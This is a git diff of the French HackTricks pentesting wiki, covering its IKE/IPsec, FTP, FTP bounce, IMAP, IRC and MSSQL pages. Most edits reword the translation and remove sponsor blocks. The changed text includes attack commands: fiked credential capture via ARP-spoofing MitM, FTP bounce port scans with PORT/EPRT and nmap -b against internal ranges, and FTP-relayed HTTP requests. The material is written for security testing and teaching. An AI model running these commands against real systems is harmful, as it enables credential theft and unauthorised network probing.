(From the book **Network Security Assessment: Know Your Network**): Il est également possible d'obtenir des noms d'utilisateur valides en reniflant la connexion entre le client VPN et le serveur, car le premier paquet du mode agressif contenant l'ID client est envoyé en clair.
|
(From the book **Network Security Assessment: Know Your Network**): Il est également possible d'obtenir des noms d'utilisateur valides en reniflant la connexion entre le client VPN et le serveur, car le premier paquet du mode agressif contenant l'ID du client est envoyé en clair.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (891).png>)
|
![](<../.gitbook/assets/image (891).png>)
|
||||||
|
|
||||||
|
@ -205,11 +197,11 @@ En passant à **IKEv2**, un changement notable est observé où **EAP (Protocole
|
||||||
|
|
||||||
### Local network MitM to capture credentials
|
### Local network MitM to capture credentials
|
||||||
|
|
||||||
Ainsi, vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour l'écoute, ce qui peut être fait avec l'aide de l'ARP spoofing, [plus d'infos](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira comme un point de terminaison VPN et capturera les identifiants XAuth :
|
So you can capture the data of the login using _fiked_ and see if there is any default username (You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked will act as a VPN endpoint and will capture the XAuth credentials:
|
||||||
```bash
|
```bash
|
||||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
```
|
```
|
||||||
Aussi, en utilisant IPSec, essayez de réaliser une attaque MitM et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.
|
Aussi, en utilisant IPSec, essayez de réaliser une attaque MitM et bloquez tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.
|
||||||
|
|
||||||
### Brute-forcing le nom d'utilisateur et le mot de passe XAUTH avec ikeforce
|
### Brute-forcing le nom d'utilisateur et le mot de passe XAUTH avec ikeforce
|
||||||
|
|
||||||
|
@ -260,22 +252,17 @@ Assurez-vous d'utiliser des valeurs réelles et sécurisées pour remplacer les
|
||||||
|
|
||||||
* `port:500 IKE`
|
* `port:500 IKE`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
Le **File Transfer Protocol (FTP)** sert de protocole standard pour le transfert de fichiers à travers un réseau informatique entre un serveur et un client.\
|
Le **File Transfer Protocol (FTP)** sert de protocole standard pour le transfert de fichiers à travers un réseau informatique entre un serveur et un client.\
|
||||||
|
@ -35,9 +27,9 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
### Connexions Actives & Passives
|
### Connexions Actives & Passives
|
||||||
|
|
||||||
Dans **Active FTP**, le **client** FTP **initie** d'abord la **connexion** de contrôle depuis son port N vers le port de commande du serveur FTP – port 21. Le **client** écoute ensuite le port **N+1** et envoie le port N+1 au serveur FTP. Le **serveur** FTP **initie** alors la **connexion** de données, depuis **son port M vers le port N+1** du client FTP.
|
Dans **Active FTP**, le **client** FTP initie d'abord la **connexion** de contrôle depuis son port N vers le port de commande du serveur FTP – port 21. Le **client** écoute ensuite le port **N+1** et envoie le port N+1 au serveur FTP. Le **serveur** FTP initie alors la **connexion** de données, depuis **son port M vers le port N+1** du client FTP.
|
||||||
|
|
||||||
Cependant, si le client FTP a un pare-feu configuré qui contrôle les connexions de données entrantes de l'extérieur, alors Active FTP peut poser problème. Une solution envisageable est Passive FTP.
|
Cependant, si le client FTP a un pare-feu configuré qui contrôle les connexions de données entrantes de l'extérieur, alors Active FTP peut poser problème. Une solution envisageable est le Passive FTP.
|
||||||
|
|
||||||
Dans **Passive FTP**, le client initie la connexion de contrôle depuis son port N vers le port 21 du serveur FTP. Après cela, le client émet une **commande passv**. Le serveur envoie alors au client l'un de ses numéros de port M. Et le **client** **initie** la **connexion** de données depuis **son port P vers le port M** du serveur FTP.
|
Dans **Passive FTP**, le client initie la connexion de contrôle depuis son port N vers le port 21 du serveur FTP. Après cela, le client émet une **commande passv**. Le serveur envoie alors au client l'un de ses numéros de port M. Et le **client** **initie** la **connexion** de données depuis **son port P vers le port M** du serveur FTP.
|
||||||
|
|
||||||
|
@ -155,10 +147,10 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
* \*\*`PORT 127,0,0,1,0,80`\*\*Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5ème caractère comme "0" et le 6ème comme le port en décimal ou utiliser le 5ème et 6ème pour exprimer le port en hex_).
|
* \*\*`PORT 127,0,0,1,0,80`\*\*Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5ème caractère comme "0" et le 6ème comme le port en décimal ou utiliser le 5ème et 6ème pour exprimer le port en hex_).
|
||||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Cela indiquera au serveur FTP d'établir une connexion TCP (_indiquée par "2"_) avec l'IP 127.0.0.1 sur le port 80. Cette commande **supporte IPv6**.
|
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Cela indiquera au serveur FTP d'établir une connexion TCP (_indiquée par "2"_) avec l'IP 127.0.0.1 sur le port 80. Cette commande **supporte IPv6**.
|
||||||
* **`LIST`** Cela enverra la liste des fichiers dans le dossier actuel
|
* **`LIST`** Cela enverra la liste des fichiers dans le dossier actuel
|
||||||
* **`LIST -R`** Liste récursive (si autorisé par le serveur)
|
* **`LIST -R`** Lister récursivement (si autorisé par le serveur)
|
||||||
* **`APPE /path/something.txt`** Cela indiquera au FTP de stocker les données reçues d'une **connexion passive** ou d'une connexion **PORT/EPRT** dans un fichier. Si le nom de fichier existe, il ajoutera les données.
|
* **`APPE /path/something.txt`** Cela indiquera au FTP de stocker les données reçues d'une **connexion passive** ou d'une connexion **PORT/EPRT** dans un fichier. Si le nom de fichier existe, il ajoutera les données.
|
||||||
* **`STOR /path/something.txt`** Comme `APPE` mais il écrasera les fichiers
|
* **`STOR /path/something.txt`** Comme `APPE` mais cela écrasera les fichiers
|
||||||
* **`STOU /path/something.txt`** Comme `APPE`, mais s'il existe, il ne fera rien.
|
* **`STOU /path/something.txt`** Comme `APPE`, mais si cela existe, cela ne fera rien.
|
||||||
* **`RETR /path/to/file`** Une connexion passive ou une connexion port doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion
|
* **`RETR /path/to/file`** Une connexion passive ou une connexion port doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion
|
||||||
* **`REST 6`** Cela indiquera au serveur que la prochaine fois qu'il enverra quelque chose en utilisant `RETR`, il devrait commencer au 6ème octet.
|
* **`REST 6`** Cela indiquera au serveur que la prochaine fois qu'il enverra quelque chose en utilisant `RETR`, il devrait commencer au 6ème octet.
|
||||||
* **`TYPE i`** Définir le transfert en binaire
|
* **`TYPE i`** Définir le transfert en binaire
|
||||||
|
@ -173,7 +165,7 @@ Certains serveurs FTP permettent la commande PORT. Cette commande peut être uti
|
||||||
|
|
||||||
[**Apprenez ici comment abuser d'un serveur FTP pour scanner des ports.**](ftp-bounce-attack.md)
|
[**Apprenez ici comment abuser d'un serveur FTP pour scanner des ports.**](ftp-bounce-attack.md)
|
||||||
|
|
||||||
Vous pourriez également abuser de ce comportement pour faire interagir un serveur FTP avec d'autres protocoles. Vous pourriez **télécharger un fichier contenant une requête HTTP** et faire en sorte que le serveur FTP vulnérable **l'envoie à un serveur HTTP arbitraire** (_peut-être pour ajouter un nouvel utilisateur admin ?_) ou même télécharger une requête FTP et faire en sorte que le serveur FTP vulnérable télécharge un fichier d'un autre serveur FTP.\
|
Vous pourriez également abuser de ce comportement pour faire interagir un serveur FTP avec d'autres protocoles. Vous pourriez **télécharger un fichier contenant une requête HTTP** et faire en sorte que le serveur FTP vulnérable **l'envoie à un serveur HTTP arbitraire** (_peut-être pour ajouter un nouvel utilisateur admin ?_) ou même télécharger une requête FTP et faire en sorte que le serveur FTP vulnérable télécharge un fichier pour un autre serveur FTP.\
|
||||||
La théorie est simple :
|
La théorie est simple :
|
||||||
|
|
||||||
1. **Téléchargez la requête (dans un fichier texte) sur le serveur vulnérable.** N'oubliez pas que si vous souhaitez communiquer avec un autre serveur HTTP ou FTP, vous devez changer les lignes avec `0x0d 0x0a`
|
1. **Téléchargez la requête (dans un fichier texte) sur le serveur vulnérable.** N'oubliez pas que si vous souhaitez communiquer avec un autre serveur HTTP ou FTP, vous devez changer les lignes avec `0x0d 0x0a`
|
||||||
|
@ -190,9 +182,9 @@ posts.txt
|
||||||
{% endfile %}
|
{% endfile %}
|
||||||
|
|
||||||
* Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP, peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
|
* Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP, peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
|
||||||
* Juste **remplissez la requête avec beaucoup de caractères nuls ou autres** (divisés sur des lignes ou non)
|
* Juste **remplir la requête avec beaucoup de caractères nuls ou autres** (divisés sur des lignes ou non)
|
||||||
|
|
||||||
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un autre serveur FTP.](ftp-bounce-download-2oftp-file.md)
|
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un serveur FTP différent.](ftp-bounce-download-2oftp-file.md)
|
||||||
|
|
||||||
## Vulnérabilité du serveur Filezilla
|
## Vulnérabilité du serveur Filezilla
|
||||||
|
|
||||||
|
@ -224,15 +216,6 @@ La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.con
|
||||||
* `ftp`
|
* `ftp`
|
||||||
* `port:21`
|
* `port:21`
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
|
|
|
@ -15,25 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## FTP Bounce - Scanning
|
## FTP Bounce - Scanning
|
||||||
|
|
||||||
### Manuel
|
### Manual
|
||||||
|
|
||||||
1. Connectez-vous à l'FTP vulnérable
|
1. Connectez-vous à un FTP vulnérable
|
||||||
2. Utilisez **`PORT`** ou **`EPRT`** (mais seulement l'un d'eux) pour établir une connexion avec le _\<IP:Port>_ que vous souhaitez scanner :
|
2. Utilisez \*\*`PORT`\*\* ou **`EPRT`** (mais seulement l'un d'eux) pour établir une connexion avec le _\<IP:Port>_ que vous souhaitez scanner :
|
||||||
|
|
||||||
`PORT 172,32,80,80,0,8080`\
|
`PORT 172,32,80,80,0,8080`\
|
||||||
`EPRT |2|172.32.80.80|8080|`
|
`EPRT |2|172.32.80.80|8080|`
|
||||||
3. Utilisez **`LIST`** (cela enverra simplement à l' _\<IP:Port>_ connecté la liste des fichiers actuels dans le dossier FTP) et vérifiez les réponses possibles : `150 File status okay` (Cela signifie que le port est ouvert) ou `425 No connection established` (Cela signifie que le port est fermé)
|
3. Utilisez **`LIST`** (cela enverra simplement à l' _\<IP:Port>_ connecté la liste des fichiers actuels dans le dossier FTP) et vérifiez les réponses possibles : `150 File status okay` (Cela signifie que le port est ouvert) ou `425 No connection established` (Cela signifie que le port est fermé)
|
||||||
1. Au lieu de `LIST`, vous pouvez également utiliser **`RETR /file/in/ftp`** et rechercher des réponses similaires `Open/Close`.
|
1. Au lieu de `LIST`, vous pourriez également utiliser **`RETR /file/in/ftp`** et rechercher des réponses similaires `Open/Close`.
|
||||||
|
|
||||||
Exemple utilisant **PORT** (le port 8080 de 172.32.80.80 est ouvert et le port 7777 est fermé) :
|
Exemple utilisant **PORT** (le port 8080 de 172.32.80.80 est ouvert et le port 7777 est fermé) :
|
||||||
|
|
||||||
|
@ -53,15 +45,9 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
||||||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le piratage AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le piratage GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Protocole d'accès aux messages Internet
|
## Protocole d'accès aux messages Internet
|
||||||
|
|
||||||
Le **protocole d'accès aux messages Internet (IMAP)** est conçu pour permettre aux utilisateurs de **accéder à leurs messages électroniques depuis n'importe quel endroit**, principalement via une connexion Internet. En essence, les e-mails sont **conservés sur un serveur** plutôt que d'être téléchargés et stockés sur l'appareil personnel d'un individu. Cela signifie que lorsqu'un e-mail est consulté ou lu, cela se fait **directement depuis le serveur**. Cette capacité permet la commodité de vérifier les e-mails depuis **plusieurs appareils**, garantissant qu'aucun message n'est manqué, quel que soit l'appareil utilisé.
|
Le **protocole d'accès aux messages Internet (IMAP)** est conçu pour permettre aux utilisateurs de **accéder à leurs messages électroniques depuis n'importe quel endroit**, principalement via une connexion Internet. En essence, les e-mails sont **conservés sur un serveur** plutôt que d'être téléchargés et stockés sur l'appareil personnel d'un individu. Cela signifie que lorsqu'un e-mail est consulté ou lu, cela se fait **directement depuis le serveur**. Cette capacité permet la commodité de vérifier les e-mails depuis **plusieurs appareils**, garantissant qu'aucun message n'est manqué, quel que soit l'appareil utilisé.
|
||||||
|
@ -157,12 +149,6 @@ done
|
||||||
* `port:143 CAPABILITY`
|
* `port:143 CAPABILITY`
|
||||||
* `port:993 CAPABILITY`
|
* `port:993 CAPABILITY`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
## Commandes Automatiques HackTricks
|
## Commandes Automatiques HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Informations de base
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
|
||||||
|
|
||||||
IRC, initialement un **protocole en texte clair**, a été assigné **194/TCP** par l'IANA mais est couramment exécuté sur **6667/TCP** et des ports similaires pour éviter d'avoir besoin de **privilèges root** pour fonctionner.
|
IRC, initialement un **protocole en texte clair**, a été assigné **194/TCP** par l'IANA mais est couramment exécuté sur **6667/TCP** et des ports similaires pour éviter d'avoir besoin de **privilèges root** pour fonctionner.
|
||||||
|
|
||||||
Un **surnom** est tout ce qui est nécessaire pour se connecter à un serveur. Après la connexion, le serveur effectue une recherche DNS inversée sur l'IP de l'utilisateur.
|
Un **surnom** est tout ce qui est nécessaire pour se connecter à un serveur. Après la connexion, le serveur effectue une recherche DNS inversée sur l'IP de l'utilisateur.
|
||||||
|
|
||||||
Les utilisateurs sont divisés en **opérateurs**, qui ont besoin d'un **nom d'utilisateur** et d'un **mot de passe** pour un accès accru, et des **utilisateurs** réguliers. Les opérateurs ont des niveaux de privilèges variés, les administrateurs étant au sommet.
|
Les utilisateurs sont divisés en **opérateurs**, qui ont besoin d'un **nom d'utilisateur** et d'un **mot de passe** pour plus d'accès, et des **utilisateurs** réguliers. Les opérateurs ont des niveaux de privilèges variés, avec les administrateurs au sommet.
|
||||||
|
|
||||||
**Ports par défaut :** 194, 6667, 6660-7000
|
**Ports par défaut :** 194, 6667, 6660-7000
|
||||||
```
|
```
|
||||||
|
@ -96,19 +83,8 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
* `looking up your hostname`
|
* `recherche de votre nom d'hôte`
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
## Informations de base
|
||||||
|
|
||||||
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||||
|
@ -38,7 +30,7 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||||
* **Base de données master** : Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server.
|
* **Base de données master** : Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server.
|
||||||
* **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des tâches.
|
* **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des tâches.
|
||||||
* **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées.
|
* **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées.
|
||||||
* **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien qu'ils soient physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
|
* **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien que physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
|
||||||
* **Base de données tempdb** : Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
|
* **Base de données tempdb** : Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
|
||||||
|
|
||||||
## Énumération
|
## Énumération
|
||||||
|
@ -158,7 +150,7 @@ SELECT * FROM sysusers
|
||||||
```
|
```
|
||||||
#### Obtenir des autorisations
|
#### Obtenir des autorisations
|
||||||
|
|
||||||
1. **Securable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont catégorisées en :
|
1. **Securable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont classées en :
|
||||||
* **Serveur** – Des exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles de serveur.
|
* **Serveur** – Des exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles de serveur.
|
||||||
* **Base de données** – Des exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
|
* **Base de données** – Des exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
|
||||||
* **Schéma** – Inclut les tables, les vues, les procédures, les fonctions, les synonymes, etc.
|
* **Schéma** – Inclut les tables, les vues, les procédures, les fonctions, les synonymes, etc.
|
||||||
|
@ -254,7 +246,7 @@ Vous pouvez voir comment utiliser ces outils dans :
|
||||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Abus des Liens de Confiance MSSQL
|
### Abus des liens de confiance MSSQL
|
||||||
|
|
||||||
[**Lisez ce post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur la façon d'abuser de cette fonctionnalité :**
|
[**Lisez ce post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **pour trouver plus d'informations sur la façon d'abuser de cette fonctionnalité :**
|
||||||
|
|
||||||
|
@ -262,7 +254,7 @@ Vous pouvez voir comment utiliser ces outils dans :
|
||||||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### **Écrire des Fichiers**
|
### **Écrire des fichiers**
|
||||||
|
|
||||||
